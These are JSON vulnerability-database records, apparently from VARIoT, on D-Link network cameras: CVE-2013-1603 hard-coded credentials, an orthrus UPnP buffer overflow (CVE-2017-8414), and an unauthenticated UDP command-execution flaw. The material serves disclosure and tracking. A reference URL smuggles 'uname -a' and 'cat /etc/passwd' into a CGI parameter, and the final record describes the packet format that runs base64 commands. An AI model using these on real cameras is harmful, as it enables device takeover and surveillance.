be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-1603"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"db": "CNVD",
"id": "CNVD-2013-04638"
},
{
"db": "BID",
"id": "59571"
},
{
"db": "PACKETSTORM",
"id": "121452"
}
],
"trust": 2.52
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-1603",
"trust": 3.4
},
{
"db": "BID",
"id": "59571",
"trust": 2.5
},
{
"db": "VULDB",
"id": "8575",
"trust": 1.6
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007157",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2013-04638",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201305-041",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "121452",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04638"
},
{
"db": "BID",
"id": "59571"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-041"
},
{
"db": "NVD",
"id": "CVE-2013-1603"
}
]
},
"id": "VAR-202001-0843",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04638"
}
],
"trust": 1.4399058611111109
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"IoT",
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04638"
}
]
},
"last_update_date": "2024-08-14T14:12:01.537000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top\u00a0Page",
"trust": 0.8,
"url": "http://www.dlink.lt/en/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-798",
"trust": 1.0
},
{
"problemtype": "Using hard-coded credentials (CWE-798) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"db": "NVD",
"id": "CVE-2013-1603"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.8,
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"trust": 1.6,
"url": "http://www.securityfocus.com/bid/59571"
},
{
"trust": 1.6,
"url": "https://packetstormsecurity.com/files/cve/cve-2013-1603"
},
{
"trust": 1.6,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
},
{
"trust": 1.6,
"url": "https://vuldb.com/?id.8575"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1603"
},
{
"trust": 0.6,
"url": "http://seclists.org/fulldisclosure/2013/apr/253"
},
{
"trust": 0.3,
"url": "http://www.dlink.com/"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/md/lums.cgi"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1599"
},
{
"trust": 0.1,
"url": "http://www.dlink.com/us/en/home-solutions/view/network-cameras."
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1600"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1601"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1602"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://192.168.1.100/upnp/asf-mp4.asf"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04638"
},
{
"db": "BID",
"id": "59571"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-041"
},
{
"db": "NVD",
"id": "CVE-2013-1603"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2013-04638"
},
{
"db": "BID",
"id": "59571"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-041"
},
{
"db": "NVD",
"id": "CVE-2013-1603"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04638"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59571"
},
{
"date": "2020-02-18T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"date": "2013-04-29T23:41:50",
"db": "PACKETSTORM",
"id": "121452"
},
{
"date": "2013-04-29T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-041"
},
{
"date": "2020-01-28T22:15:10.917000",
"db": "NVD",
"id": "CVE-2013-1603"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04638"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59571"
},
{
"date": "2020-02-18T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007157"
},
{
"date": "2020-05-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-041"
},
{
"date": "2021-04-26T16:35:52.177000",
"db": "NVD",
"id": "CVE-2013-1603"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201305-041"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural \u00a0D-Link\u00a0 Vulnerability in using hardcoded credentials in product",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007157"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "trust management problem",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201305-041"
}
],
"trust": 0.6
}
}
var-201907-1074
Vulnerability from variot
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary orthrus in /sbin folder of the device handles all the UPnP connections received by the device. It seems that the binary performs a sprintf operation at address 0x0000A3E4 with the value in the command line parameter "-f" and stores it on the stack. Since there is no length check, this results in corrupting the registers for the function sub_A098 which results in memory corruption. D-Link DCS-1100 and DCS-1130 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A buffer overflow vulnerability exists in WebCgi in D-LinkDCS-1100 and DCS-1130. An attacker can exploit the vulnerability by attacking the orthrus daemon to fully control the device and view images taken by the camera
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1074",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"db": "NVD",
"id": "CVE-2017-8414"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1110_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8414",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 7.2,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 3.9,
"id": "CVE-2017-8414",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 7.2,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 3.9,
"id": "CNVD-2019-23332",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 7.2,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 3.9,
"id": "VHN-116617",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:L/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 1.8,
"id": "CVE-2017-8414",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Local",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 7.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8414",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "Low",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8414",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8414",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-23332",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-121",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116617",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-8414",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"db": "VULHUB",
"id": "VHN-116617"
},
{
"db": "VULMON",
"id": "CVE-2017-8414"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-121"
},
{
"db": "NVD",
"id": "CVE-2017-8414"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary orthrus in /sbin folder of the device handles all the UPnP connections received by the device. It seems that the binary performs a sprintf operation at address 0x0000A3E4 with the value in the command line parameter \"-f\" and stores it on the stack. Since there is no length check, this results in corrupting the registers for the function sub_A098 which results in memory corruption. D-Link DCS-1100 and DCS-1130 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A buffer overflow vulnerability exists in WebCgi in D-LinkDCS-1100 and DCS-1130. An attacker can exploit the vulnerability by attacking the orthrus daemon to fully control the device and view images taken by the camera",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8414"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"db": "VULHUB",
"id": "VHN-116617"
},
{
"db": "VULMON",
"id": "CVE-2017-8414"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8414",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-121",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-23332",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116617",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8414",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"db": "VULHUB",
"id": "VHN-116617"
},
{
"db": "VULMON",
"id": "CVE-2017-8414"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-121"
},
{
"db": "NVD",
"id": "CVE-2017-8414"
}
]
},
"id": "VAR-201907-1074",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"db": "VULHUB",
"id": "VHN-116617"
}
],
"trust": 1.30915275
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23332"
}
]
},
"last_update_date": "2024-11-23T21:37:04.763000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8414"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116617"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"db": "NVD",
"id": "CVE-2017-8414"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8414"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/119.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"db": "VULHUB",
"id": "VHN-116617"
},
{
"db": "VULMON",
"id": "CVE-2017-8414"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-121"
},
{
"db": "NVD",
"id": "CVE-2017-8414"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"db": "VULHUB",
"id": "VHN-116617"
},
{
"db": "VULMON",
"id": "CVE-2017-8414"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-121"
},
{
"db": "NVD",
"id": "CVE-2017-8414"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116617"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8414"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-121"
},
{
"date": "2019-07-02T20:15:11.200000",
"db": "NVD",
"id": "CVE-2017-8414"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23332"
},
{
"date": "2019-07-09T00:00:00",
"db": "VULHUB",
"id": "VHN-116617"
},
{
"date": "2021-04-23T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8414"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014555"
},
{
"date": "2021-04-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-121"
},
{
"date": "2024-11-21T03:33:59.643000",
"db": "NVD",
"id": "CVE-2017-8414"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "local",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-121"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1100 and DCS-1130 Device buffer error vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014555"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-121"
}
],
"trust": 0.6
}
}
var-201907-1073
Vulnerability from variot
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called "dldps2121" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in "main" function. One path in the function traverses towards a block of code that handles commands to be executed on the device. The custom protocol created by D-Link follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111. If a packet is received with the packet type being "S" or 0x53 then the string passed in the "C" parameter is base64 decoded and then executed by passing into a System API. We can see at address 0x00009B44 that the string received in packet type subtracts 0x31 or "1" from the packet type and is compared against 0x22 or "double quotes". If that is the case, then the packet is sent towards the block of code that executes a command. Then the value stored in "C" parameter is extracted at address 0x0000A1B0. Finally, the string received is base 64 decoded and passed on to the system API at address 0x0000A2A8 as shown below. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding. D-Link DCS-1100 and DCS-1130 